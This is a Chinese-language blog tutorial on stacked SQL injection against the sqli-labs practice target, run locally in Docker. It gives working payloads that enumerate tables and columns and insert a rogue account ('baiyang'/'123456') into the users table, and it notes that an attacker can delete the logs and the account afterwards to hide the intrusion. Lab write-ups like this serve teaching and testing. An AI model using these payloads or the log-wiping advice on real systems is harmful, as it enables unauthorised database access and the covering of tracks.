原理 这种注入手法可以对数据库进行增删改查 而不是像之前一样只能查询数据 启动靶场 sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs 注入利用 开始试探 两次试探返回不一样,可能存在注入 试探结束 提取库中的所有的表 ?id=-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+ 四个表: emails referers uagents users 获取指定表中所有的字段 ?id=-999' union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1)%23 三个字段: id username password 创建临时账户 这个账户创建后,可以利用这个账户直接登录对方数据库,当离开时,将日志和这个账户删除即可 账号创建 账号名baiyang,密码123456,位置为users表的20号位置 ?id=1';insert into users(id,username,password)values(20,'baiyang','123456')%23 创建成功 查看结果 账号插入成功 查询已有账号和密码 将查询结果作为一个账号插入到数据库users表的第22行,然后让数据库直接正常返回第22行的数据,得到想要的子查询结果 将正常账号位改为子查询语句 select database() 修改查询ID 插入并查询成功 当前连接的数据库名为security
标签:users,账号,数据库,查询,堆叠,id,select,注入 From: https://www.cnblogs.com/baimuyangren/p/17825616.html